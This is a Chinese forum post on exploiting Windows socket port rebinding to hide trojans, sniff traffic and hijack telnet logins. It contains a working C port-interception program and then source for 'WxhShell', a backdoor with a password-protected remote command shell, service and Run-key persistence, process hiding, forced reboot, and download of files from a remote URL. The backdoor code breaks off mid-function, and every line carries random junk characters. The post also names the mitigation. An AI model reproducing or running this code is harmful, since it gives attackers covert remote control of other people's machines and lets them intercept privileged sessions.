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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e^em^1H( %  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h/oun2C  
Fv7]1EO.  
  saddr.sin_family = AF_INET; [n2zdiiBd  
Qo :vAv  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,,H;2xYf  
F!3p )?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :pM)I5MN[  
R%4Yg(-Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @ <3E `j'p  
L[ZS17 ;*  
  这意味着什么?意味着可以进行如下的攻击: +m]-)  
gzlxkv-F{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O&MH5^I  
whYk"N  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wK0x\V6dJ  
(kVY\!UAt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 BYu(a  
>|, <9z`D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P4HoKoj2`  
7m  ou  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <jh7G  
l9C `:g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "f8,9@  
Rz&`L8Bz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Zr1"'+-  
(u ^8=#  
  #include etT9}RbQ  
  #include \?oT.z5VG&  
  #include k;jl3GV  
  #include     71@kIJI  
  DWORD WINAPI ClientThread(LPVOID lpParam);   CcW3o"=4  
  int main() A +=#  
  { 2<9K}Of  
  WORD wVersionRequested; z{&Av  
  DWORD ret; ZJW8S  
  WSADATA wsaData; =xDxX#3  
  BOOL val; %19~9Tw  
  SOCKADDR_IN saddr;  pdm(7^  
  SOCKADDR_IN scaddr; z:Tj0< A'  
  int err; n-2!<`UFX  
  SOCKET s; tH&eKM4G  
  SOCKET sc; tvf5b8(Y-  
  int caddsize; ?FNgJx*\S  
  HANDLE mt; b1>]?.  
  DWORD tid;   k-a1^K3  
  wVersionRequested = MAKEWORD( 2, 2 ); A9N8Hav  
  err = WSAStartup( wVersionRequested, &wsaData ); oexTz[  
  if ( err != 0 ) { R(pQu! K4  
  printf("error!WSAStartup failed!\n"); P>u2""c  
  return -1; )5n0P Zi  
  } 0<:rp]<,  
  saddr.sin_family = AF_INET; P5h*RV>oS  
   k~so+k&=b  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,tQN L\t  
:-#7j} R&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <{8x-zbR+  
  saddr.sin_port = htons(23); "=n%L +6%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nTc#I~\  
  { -~aG_Bp!($  
  printf("error!socket failed!\n"); Q|P M6ta  
  return -1; 4W|cIcU W  
  } @{#'y4\>  
  val = TRUE; 7FkiT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p>kny?AJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tV_3!7m0$  
  { s0]ZE\`H>  
  printf("error!setsockopt failed!\n"); AA)pV-  
  return -1; "9d Z z/{  
  } eaNfCXHDN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wEl7mg !  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k>Fw2!mA^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3 ^x&G?)  
ern\QAhXX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jl}!UG  
  { Xs|d#WbX  
  ret=GetLastError(); K|\0jd)N  
  printf("error!bind failed!\n"); n^$Q^[:Z  
  return -1; rXz q :  
  } [kpQ:'P3  
  listen(s,2); $L( ,lB  
  while(1) mE1Vr  
  { =SuJ*  
  caddsize = sizeof(scaddr); /eU\B^k  
  //接受连接请求 KPDJ$,:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V1Ojr~iM  
  if(sc!=INVALID_SOCKET) /2E Q:P  
  { -O,:~a=*_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S&-F(#CF^  
  if(mt==NULL) ;7EeRM*  
  { 5#x[rr{^*  
  printf("Thread Creat Failed!\n"); $<XQv$YS  
  break; KztQT9kY  
  } Sh5)36  
  } h5T~dGRlR  
  CloseHandle(mt); Yc?S<  
  } j~S=kYrGM  
  closesocket(s); g"Hl 30o  
  WSACleanup(); sw}^@0ua=  
  return 0; ^i8biOSZu  
  }   rN7JJHV  
  DWORD WINAPI ClientThread(LPVOID lpParam) -K$ugDi  
  { & ^1 b]f  
  SOCKET ss = (SOCKET)lpParam; )(yaX  
  SOCKET sc; v!DK.PZbi  
  unsigned char buf[4096]; )Ghw!m  
  SOCKADDR_IN saddr; {S-M]LE  
  long num; mJd8?d  
  DWORD val; "[k>pzl6  
  DWORD ret; yMM2us#*+q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 G;#xcld  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   DF-PBVfpu  
  saddr.sin_family = AF_INET; Vv5T(~   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 55TFBDc  
  saddr.sin_port = htons(23); pO fw *lD  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Het>G{  
  { 6C<GYzzo  
  printf("error!socket failed!\n"); %XBTN  
  return -1; p ^TCr<=  
  } >dgq2ok!u  
  val = 100; zsd<0^ p\{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \(=xc2  
  { G\5Bdo1g  
  ret = GetLastError(); m5] a  
  return -1; *kZH~]  
  } {|OXiRm'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S76MY&Vx23  
  { YM NLn9  
  ret = GetLastError(); g,o46`6"  
  return -1; G#f3 WpD  
  } 8 l= EL7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yn@wce  
  { @`nG &U  
  printf("error!socket connect failed!\n"); ^x/D8 M  
  closesocket(sc); })kx#_o]'d  
  closesocket(ss); 1ljcbD)T;  
  return -1; C8qSoO4Z  
  } MQcIH2  
  while(1) p/u  
  { ek/zQM@%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :5&UWL|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \+/ciPzA-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DnhbMxh8o  
  num = recv(ss,buf,4096,0); 90Sras>F  
  if(num>0) bQ 0Ab"+D  
  send(sc,buf,num,0); AY"wEyNU  
  else if(num==0) sUR5Q/Q  
  break; FqGMHM\J  
  num = recv(sc,buf,4096,0); B<Cg_C  
  if(num>0) Y`$\o  
  send(ss,buf,num,0); LfU? 1:Du  
  else if(num==0) xe(7q1   
  break; g2^{+,/^K  
  } v@2@9/  
  closesocket(ss); %qE"A6j  
  closesocket(sc); EB}~^ aY  
  return 0 ; &;r'JIp  
  }   < /5  
wL]#]DiE  
snu?+*6  
========================================================== ,afO\oe>MG  
@ZJ }lED3  
下边附上一个代码,,WXhSHELL /zQx}U)TP  
lfd-!(tXD  
========================================================== JV4fL~  
#h9Gl@|  
#include "stdafx.h" t;PG  
8'qlg|{!~  
#include <stdio.h> j"pyK@v2B  
#include <string.h> 5! +{JTXa  
#include <windows.h> n) D  
#include <winsock2.h> 3QVUWhJ  
#include <winsvc.h> XhWo~zh"  
#include <urlmon.h> BG.8 q4[  
c3c3T`B  
#pragma comment (lib, "Ws2_32.lib") 2ve<1+V_  
#pragma comment (lib, "urlmon.lib") Y[>h |@  
pXBh^  
#define MAX_USER   100 // 最大客户端连接数 agruS'c g  
#define BUF_SOCK   200 // sock buffer +R;LHRS%  
#define KEY_BUFF   255 // 输入 buffer *:un+k  
*<[\|L:#]Z  
#define REBOOT     0   // 重启 /F|VYl^_  
#define SHUTDOWN   1   // 关机 Slv:CM M  
`)KGajB  
#define DEF_PORT   5000 // 监听端口 MF*4E9Ue.  
L\bc R  
#define REG_LEN     16   // 注册表键长度 (n2_HePE  
#define SVC_LEN     80   // NT服务名长度 3,*A VcQA  
vd$>nJ"  
// 从dll定义API h#)\K| qs  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B`3z(a92S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M0)0~#?.D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2>9..c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FjiIB1 T  
SfrM|o  
// wxhshell配置信息 h -091N  
struct WSCFG { L*4= b (3  
  int ws_port;         // 监听端口 Y,,Z47% E  
  char ws_passstr[REG_LEN]; // 口令 hcYqiM@8>  
  int ws_autoins;       // 安装标记, 1=yes 0=no d1t_o2  
  char ws_regname[REG_LEN]; // 注册表键名 xb9^WvV  
  char ws_svcname[REG_LEN]; // 服务名 4f ~q$Sf]<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l g ,%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kVt/Hhd9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <HS{A$]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =`N 0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U#w0E G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZZ :*c"b:  
EKN<KnU%  
}; 1;{nU.If  
k 7@:e$7  
// default Wxhshell configuration /P46k4M1U  
struct WSCFG wscfg={DEF_PORT, i|/G!ht^e  
    "xuhuanlingzhe", /|h+,]< >  
    1, MU `!s b*  
    "Wxhshell", 0Ny +NE:6M  
    "Wxhshell", )#hR}|  
            "WxhShell Service", @;{ZnRv14  
    "Wrsky Windows CmdShell Service", x{So  
    "Please Input Your Password: ", '0_W< lGB  
  1, $ rbr&TJ  
  "http://www.wrsky.com/wxhshell.exe", T?jN/}qg  
  "Wxhshell.exe" Eg2jexl  
    }; )S`Yl;oL  
v"%>ms"n  
// 消息定义模块 Q[H4l({E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s,/C^E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;<+Z}d/g9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4R8Qn^  
char *msg_ws_ext="\n\rExit."; Ic&YiATj  
char *msg_ws_end="\n\rQuit."; IeA/<'U s  
char *msg_ws_boot="\n\rReboot..."; Ro<5c_k  
char *msg_ws_poff="\n\rShutdown..."; L >hLYIW  
char *msg_ws_down="\n\rSave to "; M\JAB ;A  
n<b}6L}  
char *msg_ws_err="\n\rErr!"; <Zfh5AM  
char *msg_ws_ok="\n\rOK!"; |\| v%`r2  
$ER$|9)KD  
char ExeFile[MAX_PATH]; _ogN   
int nUser = 0; %X%f0J  
HANDLE handles[MAX_USER]; o~4kJW #  
int OsIsNt; JP ;SO  
TC=>De2;  
SERVICE_STATUS       serviceStatus; /Zx"BSu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SymlirL  
_pvt,pW  
// 函数声明 L/GV Qjb  
int Install(void); 8)Vl2z  
int Uninstall(void); qAlX#]  
int DownloadFile(char *sURL, SOCKET wsh); HB.:/ 5\  
int Boot(int flag); -sDl[  
void HideProc(void); gdyWuOxa|  
int GetOsVer(void); 6-5{7E}/b  
int Wxhshell(SOCKET wsl); &H}Xk!q5b^  
void TalkWithClient(void *cs); W&I:z-VH  
int CmdShell(SOCKET sock); rF{,]U9`  
int StartFromService(void); auY?Cj'"fs  
int StartWxhshell(LPSTR lpCmdLine); Klu0m~X@  
I?\P^f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v9f%IE4fX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z`u$C+Ov  
:zO;E+s  
// 数据结构和表定义 !g|[A7<|  
SERVICE_TABLE_ENTRY DispatchTable[] = :qShP3^  
{ =t~]@?]1D  
{wscfg.ws_svcname, NTServiceMain}, o{hZjn-  
{NULL, NULL}  3(*vZ  
}; mOyNl -f  
w=ufJR j  
// 自我安装 W%9~'pXgB  
int Install(void) h*Mi/\  
{ fNyXDCl  
  char svExeFile[MAX_PATH]; 'fzJw  
  HKEY key; zpNt[F?~1  
  strcpy(svExeFile,ExeFile); ]'>jw#|h  
jsKKg^ g  
// 如果是win9x系统,修改注册表设为自启动 I.SMn,N  
if(!OsIsNt) { $0~1;@`rQ6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LJ z6)kz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ye}86{l  
  RegCloseKey(key); ?fc<3q"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )W vOa] :  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bpDlFa  
  RegCloseKey(key); U` )d `4"  
  return 0; ;xai JJK{  
    } FysIN~  
  } Gsm.a  
} `:0Auw9h  
else { C8(0|XX  
-&%! 4(Je  
// 如果是NT以上系统,安装为系统服务 {9Q**U`w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z'gJy  
if (schSCManager!=0) ]2@lyG#<<  
{ d5=&:cF  
  SC_HANDLE schService = CreateService 9El{>&Fs4  
  ( yU~w Zjw  
  schSCManager, a'>n'Y~E  
  wscfg.ws_svcname, $o)}@TC  
  wscfg.ws_svcdisp, D7jbo[GgS  
  SERVICE_ALL_ACCESS, #B_H/9f(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H5jk#^FD  
  SERVICE_AUTO_START, LW!4KA]  
  SERVICE_ERROR_NORMAL, yhnPS4DC  
  svExeFile, x69RQ+Vw  
  NULL, 6"r _Y7%  
  NULL, :/>Zky8,k  
  NULL, _vAc/_ N  
  NULL, ClPE_Cfw~  
  NULL 52'6wwv6?  
  ); $$B#S '  
  if (schService!=0) @FRas00)|  
  { I(/*pa?m{  
  CloseServiceHandle(schService); q[. p(6:  
  CloseServiceHandle(schSCManager);  -f<}lhmQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =C7<I   
  strcat(svExeFile,wscfg.ws_svcname); _X{ GZJm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { scE#&OWF%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ? a/\5`gnN  
  RegCloseKey(key); I&% Z*H  
  return 0; ^i@0P}K<  
    } eK\i={va  
  } 6r h#ATep  
  CloseServiceHandle(schSCManager); x-q_sZ^8  
} +7y#c20  
} `j 4>  
owA.P-4  
return 1; Y44[2 :m  
} "|E'E"_1  
@F|pKf:M+  
// 自我卸载 {!1RlW  
int Uninstall(void) ' 'p<C)Q  
{ hN\Q&F!  
  HKEY key; xo!2 GPD.  
Y7')~C`up^  
if(!OsIsNt) { wf^p?=Ke  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 12tAx3p  
  RegDeleteValue(key,wscfg.ws_regname); IGA4"\s  
  RegCloseKey(key); ]r\!Z <<(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '*G8;91u  
  RegDeleteValue(key,wscfg.ws_regname); r( bA>L*mk  
  RegCloseKey(key); }Am5b@g"$Y  
  return 0; $OzVo&P;  
  } R)=){SI:1)  
} /:C<{m.[}  
} -6e^`c6{  
else { D]WrPWL8v  
e0]%ko"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7gRR/&ZK  
if (schSCManager!=0) P9jSLM  
{ +iNp8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (7"CYAe:;  
  if (schService!=0) E!=Iz5  
  { Ns\};j?TU*  
  if(DeleteService(schService)!=0) { ^ h2!u'IQ  
  CloseServiceHandle(schService); ZsP>CELm@  
  CloseServiceHandle(schSCManager); CSBDSz  
  return 0; CsjrQ-#9yn  
  }  y&wo"';  
  CloseServiceHandle(schService); 4)p ID`  
  } ,@zw  
  CloseServiceHandle(schSCManager); ,}l|_GGj  
} 2g5jGe*0  
} n.G.f bO  
[|\#cVWs  
return 1; KC8  
} Io{BO.K*Y  
!L2!:_  
// 从指定url下载文件 &<- S-e  
int DownloadFile(char *sURL, SOCKET wsh) G(bl)p^  
{ w,OPM}) il  
  HRESULT hr; 4Zn [F^p  
char seps[]= "/"; /RWD\u<l  
char *token; 4rpry@1  
char *file; Fv:x>qZr@  
char myURL[MAX_PATH]; ^Iqu^n?2.  
char myFILE[MAX_PATH]; equi26jhr  
y=AF EP  
strcpy(myURL,sURL); ^E".`~R  
  token=strtok(myURL,seps); rkz84wDx  
  while(token!=NULL) vTC{  
  { 4,BJK`{  
    file=token; ('o} EoXS  
  token=strtok(NULL,seps); jI9#OEH_g  
  } |fo#pwX  
xWM?E1@  
GetCurrentDirectory(MAX_PATH,myFILE); n"@){:{4?  
strcat(myFILE, "\\"); h+j*vX/!  
strcat(myFILE, file); & u6ydN1xe  
  send(wsh,myFILE,strlen(myFILE),0); 9I''$DVf  
send(wsh,"...",3,0); S#Tu/2<}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~Q}!4LH  
  if(hr==S_OK) \~  l"  
return 0; i9T<(sdK+  
else 35:RsL  
return 1; Ve<f}  
U(%6ny  
} ^UFNds'q  
{~XAg~  
// 系统电源模块 VLoRS)   
int Boot(int flag) 9~y:K$NO  
{ aq#F  
  HANDLE hToken; 0IBQE  
  TOKEN_PRIVILEGES tkp; UUF]45t>  
 SWyJ`  
  if(OsIsNt) { e7plL^^`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pwV~[+SS_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D Q c pIV  
    tkp.PrivilegeCount = 1; Hoi~(Vc.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  \+:`nz3m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $f>(TW  
if(flag==REBOOT) { q(Ow:3&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qq@]xdl  
  return 0;  ^mN`!+  
} lwIxn1n  
else { b*4aUpW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3_]QtP3  
  return 0; qx*N-,M%k(  
} dV-6l6  
  } T&}KUX~Q/  
  else { b~(S;1NS'  
if(flag==REBOOT) { 5Fbb5`(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FtlJ3fB@  
  return 0; b;NVvc(  
} fUPYCw6F  
else { MPF({Pnx7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x6^FpNgQ  
  return 0; 9#kk5)J  
} O'QnfpQ*9  
} 12: Q`   
XEN-V-Z%*  
return 1; Mhc5<~?  
} MM( ,D& Z  
MPYYTQ1FB  
// win9x进程隐藏模块 F*-'8~T  
void HideProc(void) GB,ub*|  
{ ID,os_ T=  
5JhpBx/>o=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '2rSX[$ tf  
  if ( hKernel != NULL ) uA cvUN-@  
  { 9E|QPT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :^FH.6}x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5r d t  
    FreeLibrary(hKernel); 6z'0fi|EN  
  } 77j"zr7v  
?v'CuWS  
return; 735l&(3A\  
} %4BQY>O)@  
yN06` =  
// 获取操作系统版本 w7\vrS>&  
int GetOsVer(void) e)3Mg^  
{ GoPMWbI7  
  OSVERSIONINFO winfo; @gQ?cU7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l>J%Q^  
  GetVersionEx(&winfo); NGZtlNvh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Bx.hFEL  
  return 1; "hZ `^ "0b  
  else _ozg=n2(  
  return 0; /nEK|.j  
} UWdqcOr  
 UF@.  
// 客户端句柄模块 #jO2Zu2`}  
int Wxhshell(SOCKET wsl) NGEE'4!i7T  
{ n7zM;@{7  
  SOCKET wsh; -^8OjGat  
  struct sockaddr_in client; lLK||2d  
  DWORD myID;  Bgai|l  
OC\cN%qlw  
  while(nUser<MAX_USER) ^;?w<9Y  
{ SCfk!GBVD  
  int nSize=sizeof(client); ETR7% 0$r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =PnNett}a  
  if(wsh==INVALID_SOCKET) return 1; !~ j9Oc^  
{96NtR0Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Zjs,R{  
if(handles[nUser]==0) D7c+/H@PF  
  closesocket(wsh); n*G!=lMji  
else C[;7i!Dv  
  nUser++; F>E_d<m  
  } zB\ 8<97 C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W>'gG}.  
 }"q#"s  
  return 0; QX_![|=  
} A.YK=_J  
W&m3"~BJ  
// 关闭 socket kHQn' r6  
void CloseIt(SOCKET wsh) WMFn#.aY5  
{ ;#*.@Or@Ah  
closesocket(wsh); `}8)P#  
nUser--; '%YTM N@  
ExitThread(0); 0t*PQ%  
} '8I=Tn  
7dlMDHp\Y  
// 客户端请求句柄 rERtOgi  
void TalkWithClient(void *cs) =CL,+  
{ psS^  
.R S  
  SOCKET wsh=(SOCKET)cs; [T,Df&  
  char pwd[SVC_LEN]; WJ 'lYl0+7  
  char cmd[KEY_BUFF]; ]]5(:>l  
char chr[1]; F'_z$,X6  
int i,j; .li)k[] ts  
#X6=`Xe#  
  while (nUser < MAX_USER) { P#;pQC  
kjSzu qB  
if(wscfg.ws_passstr) { -7EwZRS@9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 64:p 4N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3@<m/%  
  //ZeroMemory(pwd,KEY_BUFF); 5F :\U  
      i=0; U)z1RHP|z  
  while(i<SVC_LEN) { JBISA _Y  
hG}/o&}U  
  // 设置超时 ! e?=g%(  
  fd_set FdRead; h^J :k  
  struct timeval TimeOut; Exat_ L'?  
  FD_ZERO(&FdRead); h5^We"}+  
  FD_SET(wsh,&FdRead); Q"qJ0f)  
  TimeOut.tv_sec=8; jank<Q&w  
  TimeOut.tv_usec=0; j\.e6&5%SS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^Je*k)COn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D9n+eZ  
9YBlMf`KEf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XW{cC`&  
  pwd=chr[0]; i-x /h -  
  if(chr[0]==0xd || chr[0]==0xa) { O [=W%2I!i  
  pwd=0; Zh?n;n}  
  break; M@0S*[O{"  
  } y!j>_m){w  
  i++; 9 Lqz:4}  
    } ,yi@?lc  
Pfm B{  
  // 如果是非法用户,关闭 socket lI5>d(6p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rhN"#?  
} / ]nrxT  
?X7nM)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >.REg[P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BJsN~` =r  
t4-0mNBZt$  
while(1) { fY|vq amA;  
~\c  j  
  ZeroMemory(cmd,KEY_BUFF); pFwe&_u]  
AUl[h&s  
      // 自动支持客户端 telnet标准   Q2!RFtXV  
  j=0; 8JO(P0aT  
  while(j<KEY_BUFF) { n|PW^kOE/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9|9/8a6A  
  cmd[j]=chr[0]; YDEb MEMd/  
  if(chr[0]==0xa || chr[0]==0xd) { *#'&a(h B!  
  cmd[j]=0; >SD?MW 1E  
  break; v\XO?UEJ2  
  } Xd&oERJj  
  j++; N/E=-&E8  
    } ]oC7{OoX  
'qidorT>N  
  // 下载文件 f{'N O`G  
  if(strstr(cmd,"http://")) { JJP!9<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y<y9'tx  
  if(DownloadFile(cmd,wsh)) 2}ywNVS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L_>LxF43  
  else McvLU+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iyMoLZ5  
  } ;i3C  
  else { y$L&N0z  
/j(<rz"j  
    switch(cmd[0]) { e#?rK=C?9  
  K*"Fpx{M  
  // 帮助 Vb~;"WABo  
  case '?': { z'EphL7r   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mpl^LF[  
    break; `P;uPQDzZ3  
  } lq27^K  
  // 安装 W1O m$S1  
  case 'i': { @h7 i;Ok  
    if(Install()) |%=c<z+8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m9aP]I3g]\  
    else .r-kH&)"GU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }cg 1CT5  
    break; OEHw%  
    } kgRgHkAH~  
  // 卸载 B5va4@  
  case 'r': { e?dR'*-z  
    if(Uninstall()) 6Kd,(DI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hHsO?([99  
    else 0O?!fd n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hx@E,  
    break; @ds.)sKA>  
    } DZ5h<1  
  // 显示 wxhshell 所在路径 _[J>GfQd  
  case 'p': { /6p7 k  
    char svExeFile[MAX_PATH]; 2>inyn)S  
    strcpy(svExeFile,"\n\r"); 4[K6ZDBU  
      strcat(svExeFile,ExeFile); 5VlF\-  
        send(wsh,svExeFile,strlen(svExeFile),0); Dn;$4Dak(  
    break; y Xi$w.gr  
    } |JCn=v@  
  // 重启 P/dT;YhL  
  case 'b': { "J3n_3+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "ODs.m oq  
    if(Boot(REBOOT)) &4Y@-;REt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [b@9V_  
    else { F#7A6|  
    closesocket(wsh); IQ9Rvnna  
    ExitThread(0); )<%IY&\  
    } b_oUG_B3]  
    break; "H)D~K~ *  
    } Z`'&yG;U  
  // 关机 XO4rrAYvW  
  case 'd': { M{U7yE6*j*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1;[ZkRbzL  
